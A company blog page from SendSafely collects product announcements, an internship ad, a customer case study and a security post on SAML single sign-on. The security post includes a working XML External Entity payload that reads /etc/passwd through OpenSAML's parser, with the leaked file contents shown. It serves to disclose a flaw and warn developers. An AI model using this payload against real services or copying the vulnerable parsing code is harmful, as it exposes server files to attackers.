Come say “Hi” at AppSec EU!

We are sharing a booth with our sister company, Gotham Digital Science, at this year’s AppSec EU conference in Cambridge. Come by Booth #3 this Wednesday and Thursday (6/25-6/26) to see a demo of our platform and request a free enterprise trial.

Don’t forget to also have us stamp your Vendor Passport for a chance to win a £200 Amazon gift voucher. We hope to see you there!



A New Way to Request Items with SendSafely

Today we are unveiling a new way to let others send you items with SendSafely. Until now, if you wanted to receive a file or message from someone else you needed to specifically request it using our “Request Items” feature (or make them reply to a message you send them). Users that frequently need to receive files from a variety of people have been asking for a way to cut out this initial step.  Starting today, every SendSafely user has their own public URL that anyone can use to send them stuff.

  • Your personal URL is largely based on your email address, so if your email address is user@example.com you would use a URL like the following one: https://www.‌sendsafely.com/u/user%40example.com.
  • For Enterprise Users, the URL is even shorter and based on just the local portion of your email address.  So if your email is me@companyname.com you will use something like: https://<companyname>.sendsafely.com/u/me.
  • Organizations that use SendSafely can also publish a generic URL that allows people to send files to anyone in the organization, provided the recipient is registered with SendSafely and has not disabled this feature.  The generic URL would look something like: https://<companyname>.sendsafely.com/u/ 

To help prevent spam and defend against spoofing, SendSafely will always verify the sender’s email address before allowing them to send you files.

Power Users:  Consider including a personal URL in your email footer along with your contact information so people can easily send you files using SendSafely.

Not sure what your personal URL is?  Browse to the Edit Profile screen after logging in to see your personal URL.  You can also disable this feature from the Edit Profile screen by un-checking the box that controls this feature (located directly underneath your first and last name). Enterprise Admins that want to disable this feature for their entire organization can do so from the Enterprise Console.  Note that this feature requires you to have the capability to request items from others, so Free and Basic users are not currently eligible.  

We hope you enjoy this new feature and look forward to hearing your feedback! 



BrightTalk Webinar: Secure Cloud Based File Exchange

Be sure to check out the SendSafely / BrightTALK Webinar we conducted yesterday about Secure Cloud Based File Exchange.  During the half-hour webinar, Brian Holyfield (SendSafely Team Lead) will cover:

  • Confidentiality risks associated with cloud-based file exchange
  • How encryption can, but sometimes doesn’t, help mitigate confidentiality threats
  • Limitations of server-side encryption offered by most file exchange providers
  • How SendSafely can bridge the gap between traditional file exchange and the more cumbersome Bring Your Own Encryption (BYOE) model.  

We were very pleased with the positive feedback we received and look forward to doing more join webcasts with BrightTALK. The webinar is available for viewing free of charge at https://www.brighttalk.com/webcast/288/103317.  



Summer Developer Internship

Are you a software engineering student interested in security and privacy? Are you passionate about writing secure code and working with cutting edge technologies? Do you have a strong interest in web application development? If you answered YES to any, or better yet ALL, of these questions then we’d love to hear from you!  This year we are offering a combined internship with our sister company, Gotham Digital Science (GDS).  

Why do your Internship with us?

Every day, GDS and SendSafely help our customers secure their information, business applications, and networks. In order to do this, we rely on proprietary software that we write in-house.  

What you will learn:

  • Secure development and software architecture principals
  • Hands on experience writing custom C#, Java and JavaScript code
  • Experience designing web applications using modern frameworks
  • The mindset required for breaking and securely building software applications
  • Working knowledge in cryptography

Our ideal candidate is someone that is enthusiastic about security, passionate about using software technology to solve problems, and eager learn how to interface with new technologies. You should also have good familiarity with the following technologies:

  • C# and/or Java
  • JavaScript
  • ASP.NET and/or J2EE

This sounds awesome! How do I sign up?

If this sounds like the perfect opportunity to you then contact us today! We work in a fun and casual environment, based in New York City’s Financial District. Interested applicants should send a resume to careers@sendsafely.com. Please include the text “Developer Internship” and your first and last name in the subject line of the email.

NOTE: If you submit an internship application through the GDS Security website (careers@gdssecurity.com) you do not need to re-submit to SendSafely.  All summer internship applications for both companies will be routed to the same team.  



Perfect Forward Secrecy and more…

Last month we started rolling out some subtle changes to SendSafely that many users may not have noticed. For starters, we are now taking advantage of some new SSL features that Amazon announced back in February for the Elastic Load Balancer technology that we use for handling end-user SSL connections. Our front-end load balancers now support Perfect Forward Secrecy on all SSL/TLS connections. Perfect Forward Secrecy provides additional safeguards against the eavesdropping of encrypted data, through the use of a unique random session key. This prevents the decoding of captured data, even if the secret long-term key is compromised.  With the addition of PFS we earned an A+ from SSL Labs, the highest possible rating.

Today’s scramble to patch the OpenSSL “Heartbleed” Vulnerability underscores the grim reality that security technologies themselves are not immune from being vulnerable. Those of you familiar with how SendSafely works under the hood know that we take a layered approach to security. We assume from the start that one of the layers can, and will, fail at some point. SSL is far from the only layers that we implement to keep your data private.   

In addition to enhancing our SSL configuration, we also rolled out changes to our client-side APIs that improve performance when handling large files. Our APIs now segment large files and PGP encrypt each segment individually, reducing the overall amount of disk space and RAM needed to perform file encryption and decryption. The biggest benefit of this change is that browser-based users no longer need to use our signed Java Applet when uploading or downloading large files (provided that your browser supports HTML5).

Over the last 12 months, Oracle made a number of significant changes to how the Java Runtime enforces security with Java Applets. While these changes were well intentioned, they were very poorly executed and significantly degrade the user experience due to the large number of confusing (and constantly changing) visual security warnings and prompts. We also found that some of the new changes make backwards compatibility nearly impossible. We are very excited that going forward only users with older web browsers (specifically Internet Explorer 8 or 9) will need Java to use SendSafely.



SendSafely Integration for Microsoft Outlook

As of this week, our SendSafely for Outlook Add-In has exited Beta and is now available to all Enterprise and Pro users. We’d like to thank everyone who participated in the Beta evaluation to help make it a success.  If you were a beta user, your add-in will continue to receive updates and run the same version as all other users.  

With the add-in for Outlook, SendSafely is integrated directly into your desktop email software, making it easier than ever to send encrypted files.  Once the add-in is installed, sending an encrypted file is as easy as adding a traditional attachment to your email message. 

image


The SendSafely “Add Encrypted Attachment” button works in much the same way as the traditional “Attach File” button.  Files are attached with a “.SendSafely” extension, but when you press “Send” our add-in recognizes these files and automatically encrypts and uploads them to SendSafely.  A link to SendSafely is also inserted into the body of your email message that your recipients can use to access the files.  The actual file attachments are removed from the email message before it is sent. 

SendSafely for Outlook also lets you configure SMS verification for your recipients.   Every recipient on the email message is automatically added as a recipient for the encrypted files.  After you press “Send”, the add-in will prompt you with the option to enable SMS verification for each recipient on your email message.

image


When sending large files, our add-in let’s you continue your work while the files get uploaded to our system in the background.  Your email message is automatically sent as soon as all of the files have been successfully uploaded. 

image


The Outlook add-in is just one example of how SendSafely can be integrated with virtually any system or application.  Under the hood, the add-in uses our SendSafely Windows Client API to bridge the gap between Outlook and the SendSafely Platform.  Expect to see more about our API over the next few months, as we plan on expanding coverage to other platforms and integrate into other programs that our customers use frequently (like Chrome Browser).



Encrypted Messaging now Available to All Users

Over the last month we’ve been working hard to roll out Encrypted Messaging as a new feature to some of our Enterprise customers. Today we are happy to announce that this feature is available to all SendSafely users, including users on our Free Tier. With Encrypted Messaging, you now have the option of typing a message in addition to sending secure files through SendSafely.  You will have the option of sending a message securely, sending a file securely, or using a secure message in conjunction with a secure file transfer.  

The “Add Files” region of the Send page is now titled “Add Items”, and allows you to add an encrypted file, a secure message, or both. We also reintroduced the beloved Drag-and-Drop support for adding files, something that numerous users asked us to bring back after we removed it a while ago.  

image


Click on this region and start typing, or press “Add Message” to reveal the secure message dialog. Users that are replying to a secure file request will also have the option to add a message, and can reply to messages you send to them. 

image


As soon as you are done typing, your message will be encrypted using OpenPGP the same way we encrypt files you send with SendSafely. You’ll know the message has been encrypted when it becomes blurred and the padlock icon changes to closed. This happens automatically once you click outside of the message dialog (older versions of IE may not blur the message due to limited CSS3 support).  

image


Recipient access to secure messages is logged the same way that we log access to file transfers. You see the recipient, the IP address and the timestamp of each session they access the message from.  

We continue to be amazed at the interesting use cases that our customers are using Encrypted Messaging for. We received some feedback from one of our users, informing us about how he used this feature to implement a “break glass” procedure.  

"I needed to leave the office early yesterday, so I used SendSafely to send my colleague a message with a temporary ‘break glass’ code to use in the event that there is a sufficiently important reason for someone to get into our server room while I was out.  I set the message to expire in one day, and since all access to the message is logged, I know I’ll be notified if my colleague retrieves the code.  Simply brilliant."

We share this user’s excitement, and hope all of our users like this new feature as much as we do. As always, please continue to share your feedback with us…we love hearing from our users!  



SendSafely Featured on Twilio Blog

Our friends at Twilio have written up an article on their blog about how we use their API to provide strong authentication for our users.  If you haven’t read it already, you should check it out!  

We offer SMS verification to all users when sending packages to people in virtually any region of the world.  SMS verification makes it easy to ensure that only the right people can pick up the files you send them.  This feature is just one of many robust security features that we offer, and another reason that more and more enterprises are choosing SendSafely as their data exchange platform. 



Cezanne HR Uses SendSafely to Fulfill the Most Important Responsibility to its Customers

imageCezanne HR is a leading European provider of human resource solutions. Their flagship Cezanne OnDemand platform is a pure SaaS HR software solution targeted at small and medium enterprises. 

The team at Cezanne HR routinely needs to receive large amounts of personnel data while on-boarding new clients to their HR OnDemand platform. The vast majority of this information is highly sensitive, and could lead to identity theft if it ends up in the wrong hands. Ensuring that this information is secure at all times is an extremely high priority for the Cezanne team. “Our aim is to help our customers get up and running as quickly as possible, and part of the service we provide is uploading their data”, explains John Hixon, Research & Development Director for Cezanne HR. “Making it as easy as possible for our clients to get us that information securely is a major priority for us.”

In addition to the obvious concerns, EU Data Protection Laws also mandate that organizations that collect and manage confidential personal information must protect it from misuse and respect certain rights of the data owners that are guaranteed by EU law. Cezanne needed an easy data collection solution that allowed them to get data quickly from their new customers while upholding their responsibility to make sure that data is secure and protected at all times. 

The Solution: SendSafely Enterprise 

Prior to discovering SendSafely, Cezanne HR used an in-house solution for file exchange that was based on secure FTP. “There was a lot of overhead associated with using Secure FTP”, says Hixon. “We were constantly managing new accounts and making sure files were deleted once they were no longer needed. It was also not uncommon for the customer’s firewall to block outbound access to the FTP port. SendSafely gives us a much easier to use alternative to the Secure FTP solution we used to use.” SendSafely file transfers all happen over HTTPS using the same ports that are used to browse the web, and uploaded files expire and delete automatically based on the configured SendSafely security policy.

Now that Cezanne has migrated to SendSafely, the on-boarding team makes use of SendSafely’s “Request Files” feature to obtain data files from new clients. Requesting files is as simple as entering the email address of the person you are requesting files from. SendSafely automatically creates a new sender account and authenticates them as needed, allowing the customer to upload encrypted files to the on-boarding team.

Another important feature that Cezanne HR leverages is SendSafely’s regional isolation feature, available to enterprise customers. With regional isolation, SendSafely guarantees that a customer’s data will be isolated within a specific geographic region. “Our contracts with European clients mandate that their HR data will not leave the EU. SendSafely gives us the option to host our data exclusively in the EU, which is critical for us to maintain compliance”, John explains. SendSafely currently offers regional isolation options for the EU, hosted in Ireland, and the United States.

You can download a full PDF version of the SendSafely Cezanne HR Case Study here.



Web-based Single Sign-On and the Dangers of SAML XML Parsing

Security Assertion Markup Language (SAML) is a popular XML-based open standard for exchanging authentication and authorization data between two systems.  In the world of enterprise cloud applications, SAML is one of the most common protocols for implementing single sign-on between enterprise customers and cloud service providers.  Given that, it’s no surprise that support for SAML-based Single Sign-on was one of the earliest requested features that our enterprise customers asked for.

A typical web-based single sign-on transaction (or web SSO for short) involves three parties:  the service provider, the identity provider, and a user agent (the user).  In our world, we (SendSafely) are the service provider, our enterprise customers would be the identity provider, and our end-users would be the user agent.  At a high-level, the sign-on transaction looks something like the following diagram:

image

As you can see, while the exchange is not overly complex, there are several steps with XML based messages handled by the identity provider and service provider.  One thing we noticed off the bat when planning to implement the service provider end of the workflow was that publicly available documentation for building a custom implementation is scarce.  There is no shortage of 3rd party solutions, but at SendSafely we are always hesitant to add unnecessary external dependencies to our code base due to the vulnerabilities they could introduce into our platform.  This hesitation is especially high when it comes to anything authentication related.  Rather than go with an off-the-shelf solution, we opted to instead leverage the OpenSAML library and implement the service provider ourselves so that we know what is happening under the hood.

OpenSAML Sample Code

Having decided to go with OpenSAML, the first thing we did was consult the official website to obtain the latest version of the library and review the available documentation. As with most well documented platforms, the documentation also included some basic code examples on how to use the library to consume and generate SAML.  

In order to accept and process SAML responses from our customers, we essentially need to parse an XML request from the user agent (sent by the identity provider) and validate the SAML contents.  The following documentation and sample code is published on the OpenSAML website, and shows how to convert XML retrieved from the authentication response to an expected SAML object.

https://wiki.shibboleth.net/confluence/display/OpenSAML/OSTwoUsrManJavaCreateFromXML

It’s worth pointing out that I wear two hats on most days: that of a developer and architect at SendSafely, and a professional penetration tester at Gotham Digital Science.  One thing that my pen testing experience has taught me is that any code responsible for parsing XML is a prime target for an XML External Entity (XXE) vulnerability.  For those unfamiliar with XXE vulnerabilities, they often allow a malicious user to read arbitrary files and open arbitrary TCP connection from the vulnerable server and can also be used to launch Denial of Service attacks. In short, lots of bad stuff can happen. Unfortunately, the code example from the OpenSAML website just so happens to be vulnerable to this attack.  

To confirm this, we whipped up the following test code and our suspicions were validated.  The test code exploits the fact that external entity calls are allowed and will load the “/etc/passwd” file from the server and return its content to the malicious user.  Houston, we have a problem.  

Code:

try
{
     String evilString = "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>"+”<!DOCTYPE doc [ <!ENTITY x3 SYSTEM \"file:///etc/passwd\"> ] >";
     
     String XMLString = "<samlp:AuthnRequest xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"aaf23196-1773-2113-474a-fe114412ab72\" Version=\"2.0\" IssueInstant=\"2004-12-05T09:21:59\" AssertionConsumerServiceIndex=\"0\" AttributeConsumingServiceIndex=\"0\"><saml:Issuer>&x3;</saml:Issuer><samlp:NameIDPolicy AllowCreate=\"true\" Format=\"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\"/></samlp:AuthnRequest>";
     
     XMLString = evilString + XMLString;

     DefaultBootstrap.bootstrap();
     // Get parser pool manager
     BasicParserPool ppMgr = new BasicParserPool();
     ppMgr.setNamespaceAware(true);
			 
     // Parse metadata file
     InputStream in = new ByteArrayInputStream(XMLString.getBytes("UTF-8"));
     Document inCommonMDDoc = ppMgr.parse(in);
     Element metadataRoot = inCommonMDDoc.getDocumentElement();
			 
     // Get appropriate unmarshaller
     UnmarshallerFactory unmarshallerFactory = Configuration.getUnmarshallerFactory();
     Unmarshaller unmarshaller = unmarshallerFactory.getUnmarshaller(metadataRoot);
			 
     // Unmarshall using the document root element, an EntitiesDescriptor in this case
     AuthnRequestImpl inCommonMD = (AuthnRequestImpl) unmarshaller.unmarshall(metadataRoot);
			
     System.out.println("Winning: "+ inCommonMD.getIssuer().getValue());
}
catch(Exception e)
{
     e.printStackTrace();
}

Output:

Winning:##
# User Database
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false

The fact that the OpenSAML library allows a developer to handle the XML parsing of the SAML XML data before it is passed to the “Unmarshaller” object is a bad design decision, and as you can see here it can result in the potential for many custom SSO or other SAML based solutions to be susceptible to XXE.  Unfortunately we see this issue quite a bit at GDS, not only within SAML but any application which handles XML data from untrusted sources.

We have notified the OpenSAML team about the vulnerable sample code and the XXE flaw within the BasicParserPool XML parsing logic that is accompanied with the OpenSAML library. Developers and security professionals should be aware that this issue may exist across the internet within other open source solutions, off the shelf software or even your organization custom implementation of SAML parsing code.

Morals of the Story

One could say there are a couple morals to this story.  The most important moral is never assume that sample code is good code.  Yes, the code will likely do what its supposed to, but it may also do much more (and not stuff you want it to do).  You should always carefully review any sample code retrieved from the web, especially if it directly handles user input. This can also be said about any off the shelf or open source solution.

Another important takeaway is that SAML, at the end of the day, is simply XML data and therefore you must include XML specific risks like XXE, Entity Expansion Attacks and even potential injection flaws when doing a threat model.  





Get started in 60 seconds.
Sign Up Today!